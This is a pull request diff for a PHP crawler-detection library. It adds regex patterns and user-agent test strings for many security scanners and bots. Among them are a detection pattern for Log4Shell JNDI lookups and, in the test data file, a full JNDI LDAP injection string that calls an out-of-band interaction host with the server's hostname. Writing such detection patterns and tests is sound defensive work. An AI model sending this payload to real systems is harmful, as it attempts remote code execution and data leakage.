Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions src/Fixtures/Crawlers.php
Original file line number Diff line number Diff line change
Expand Up @@ -77,6 +77,7 @@ class Crawlers extends AbstractProvider
'^WordPress\.com',
'^XRL\/[0-9]',
'^ZmEu',
'\$\{jndi:',
'008\/',
'1Pilot',
'13TABS',
Expand All @@ -91,6 +92,7 @@ class Crawlers extends AbstractProvider
'Abonti',
'Aboundex',
'aboutthedomain',
'abuse\.xmco\.fr',
'Accoona-AI-Agent',
'acebookexternalhit\/',
'acme\.sectigo\.com',
Expand Down Expand Up @@ -154,6 +156,7 @@ class Crawlers extends AbstractProvider
'AppleSyndication',
'Aprc\/[0-9]',
'Arachmo',
'Arachni\/',
'arachnode',
'Arachnophilia',
'aria2',
Expand All @@ -163,6 +166,7 @@ class Crawlers extends AbstractProvider
'Ask Jeeves',
'AskQuickly',
'ASPSeek',
'Assetnote\/',
'Asterias',
'Astute',
'asynchttp',
Expand Down Expand Up @@ -200,11 +204,13 @@ class Crawlers extends AbstractProvider
'BigBozz',
'Bigfoot',
'biglotron',
'Bilbo\/',
'BingLocalSearch',
'BingPreview',
'binlar',
'biNu image cacher',
'Bitacle',
'bitdiscovery',
'Bitrix link preview',
'biz_Directory',
'BKCTwitterUnshortener\/',
Expand Down Expand Up @@ -281,9 +287,12 @@ class Crawlers extends AbstractProvider
'CloudEndure',
'CloudFlare-AlwaysOnline',
'Cloudflare-Healthchecks',
'Cloudflare-Radar-Scanner',
'Cloudflare-SSLDetector',
'CloudflareRadarURLScanner',
'Cloudinary',
'cmcm\.com',
'CMSLookup',
'coccoc',
'cognitiveseo',
'ColdFusion',
Expand All @@ -308,15 +317,18 @@ class Crawlers extends AbstractProvider
'Crescent',
'Criteo',
'Crowsnest',
'CSE-Scanner',
'CSHttp',
'CSSCheck',
'Cula\/',
'curb',
'Curious George',
'curl',
'cuwhois\/',
'cyberscan\.io',
'cybo\.com',
'CyberConvoyScout',
'cypex\.ai\/scanning',
'DAP\/NetHTTP',
'DareBoost',
'DatabaseDriverMysqli',
Expand All @@ -334,6 +346,7 @@ class Crawlers extends AbstractProvider
'deeris',
'delve\.ai',
'Demon',
'Detectify',
'DeuSu',
'developers\.google\.com\/\+\/web\/snippet\/',
'Devil',
Expand All @@ -351,6 +364,7 @@ class Crawlers extends AbstractProvider
'docoloc',
'Dolphin http client',
'DomainAppender',
'DomainDrift\/',
'DomainLabz',
'Domains Project\/',
'Donuts Content Explorer',
Expand Down Expand Up @@ -396,6 +410,7 @@ class Crawlers extends AbstractProvider
'ExactSearch',
'ExaleadCloudview',
'Excel\/',
'Exchange check',
'exif',
'ExoRank',
'Exploratodo',
Expand Down Expand Up @@ -435,6 +450,7 @@ class Crawlers extends AbstractProvider
'Fetch API',
'Fetch\/[0-9]',
'Fever\/[0-9]',
'fhms-its-research-scanner',
'FHscan',
'Fiery%20Feeds',
'Filestack',
Expand All @@ -455,6 +471,7 @@ class Crawlers extends AbstractProvider
'FoundSeoTool',
'fragFINN\.de',
'free thumbnails',
'FreePBX-Scanner',
'Freeuploader',
'FreshRSS',
'frontman',
Expand Down Expand Up @@ -646,6 +663,7 @@ class Crawlers extends AbstractProvider
'Indy Library',
'InetURL',
'infegy',
'InfoGuardDisclosureResearch',
'infohelfer',
'InfoTekies',
'InfoWizards Reciprocal Link',
Expand Down Expand Up @@ -722,6 +740,7 @@ class Crawlers extends AbstractProvider
'kubectl',
'kulturarw3',
'KumKie',
'l9explore',
'l9tcpid\/',
'Larbin',
'Lavf\/',
Expand Down Expand Up @@ -876,6 +895,7 @@ class Crawlers extends AbstractProvider
'NetNewsWire',
'Netpursual',
'netresearch',
'NetScope-DomainScanner',
'NetShelter ContentScan',
'Netsparker',
'NetSystemsResearch',
Expand Down Expand Up @@ -1050,6 +1070,7 @@ class Crawlers extends AbstractProvider
'QrafterPro',
'Qseero',
'Qualidator',
'Qualys',
'QueryN Metasearch',
'queuedriver',
'quic-go-HTTP\/',
Expand Down Expand Up @@ -1078,13 +1099,15 @@ class Crawlers extends AbstractProvider
'RepoMonkey',
'request\.js',
'reqwest\/',
'researchcyber\.net',
'ResponseCodeTest',
'RestSharp',
'Riddler',
'Rival IQ',
'Robosourcer',
'Robozilla',
'ROI Hunter',
'RootEvidence',
'RPT-HTTPClient',
'RSiteAuditor',
'RSSMix\/',
Expand All @@ -1102,6 +1125,7 @@ class Crawlers extends AbstractProvider
'Scamadviser-Frontend',
'ScanAlert',
'scan\.lol',
'scanner\.ducks\.party',
'Scoop',
'scooter',
'ScopeContentAG-HTTP-Client',
Expand All @@ -1121,6 +1145,9 @@ class Crawlers extends AbstractProvider
'SearchSight',
'SearchWP',
'search\.thunderstone',
'securitee\.org',
'SecurityHeaders',
'SecurityScanner\/',
'Seeker',
'semanticdiscovery',
'semanticjuice',
Expand Down Expand Up @@ -1199,6 +1226,7 @@ class Crawlers extends AbstractProvider
'Snarfer\/',
'SniffRSS',
'sniptracker',
'SnoopSecInspect',
'Snoopy',
'SnowHaze Search',
'sogou web',
Expand Down Expand Up @@ -1282,6 +1310,7 @@ class Crawlers extends AbstractProvider
'timewe\.net',
'TinEye',
'Tiny Tiny RSS',
'TLM-Audit-Scanner',
'TLSProbe\/',
'Toata',
'topster',
Expand All @@ -1305,11 +1334,13 @@ class Crawlers extends AbstractProvider
'Twice',
'Twikle',
'Twingly',
'TwinWaveScanner',
'Twisted PageGetter',
'Typhoeus',
'ubermetrics-technologies',
'uclassify',
'UdmSearch',
'UGAResearchAgent',
'ultimate_sitemap_parser',
'unchaos',
'undici',
Expand Down Expand Up @@ -1350,6 +1381,7 @@ class Crawlers extends AbstractProvider
'voyager\/',
'VSAgent\/',
'VSB-TUO\/',
'vu-server-health-scanner',
'Vulnbusters Meter',
'VYU2',
'w3af\.org',
Expand Down Expand Up @@ -1452,6 +1484,7 @@ class Crawlers extends AbstractProvider
'WP Engine Install Performance API',
'WP Rocket',
'WP-Safe-Scanner',
'wp2shell-check',
'wpif',
'wprecon\.com survey',
'WPScan',
Expand Down
34 changes: 34 additions & 0 deletions tests/data/user_agent/crawlers.txt
Original file line number Diff line number Diff line change
Expand Up @@ -3794,3 +3794,37 @@ NYU Internet Census (https://scan.lol; research@scan.lol)
Download Demon/3.5.0.11
webbandit/4.xx.0
Mozilla/5.0 (compatible; +centuryb.o.t9[at]gmail.com)
${jndi:ldap://${hostName}.useragent.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.fun}
abuse.xmco.fr
Arachni/v1.5.1
Bilbo/2.3b-UNIX
bitdiscovery-suggestions
Cloudflare-Radar-Scanner
cyberscan.io
cypex.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36
DomainDrift/0.3 (Internet Telemetry; +https://domaindrift.io)
fhms-its-research-scanner/1.0 (+https://fb02itsscan02.fh-muenster.de)
https://researchcyber.net/
InfoGuardDisclosureResearch/1.0 (https://www.infoguard.ch; +mailto:redteam@infoguard.ch) security.txt-discovery
l9explore/1.2.2
l9explore/1.3.0
Mozilla/5.0 (compatible; CloudflareRadarURLScanner; +https://radar.cloudflare.com/)
Mozilla/5.0 (compatible; CMSLookup/1.0)
Mozilla/5.0 (compatible; CSE-Scanner/1.0)
Mozilla/5.0 (compatible; Detectify)
Mozilla/5.0 (compatible; FreePBX-Scanner/1.0)
Mozilla/5.0 (compatible; NetScope-DomainScanner/1.0; security research scanner)
Mozilla/5.0 (compatible; Qualys; +https://www.qualys.com/)
Mozilla/5.0 (compatible; SecurityScanner/1.0)
Mozilla/5.0 (compatible; SnoopSecInspect/1.1; +https://snoopsec.us.to/)
Mozilla/5.0 (compatible; UGAResearchAgent/1.0; Please visit: NISLabUGA.github.io)
Mozilla/5.0 (compatible; wp2shell-check/1.0)
Mozilla/5.0 (compatible;vu-server-health-scanner/1.0;https://130.37.198.75/index.html)
Mozilla/5.0 (Exchange check)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 (scanner.ducks.party)
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 SecurityHeaders
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3122.113 Safari/537.36 Assetnote/1.0.0
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 (https://securitee.org/cms-experiment-fall2024/)
RootEvidence/1.0
TLM-Audit-Scanner/1.0
TwinWaveScanner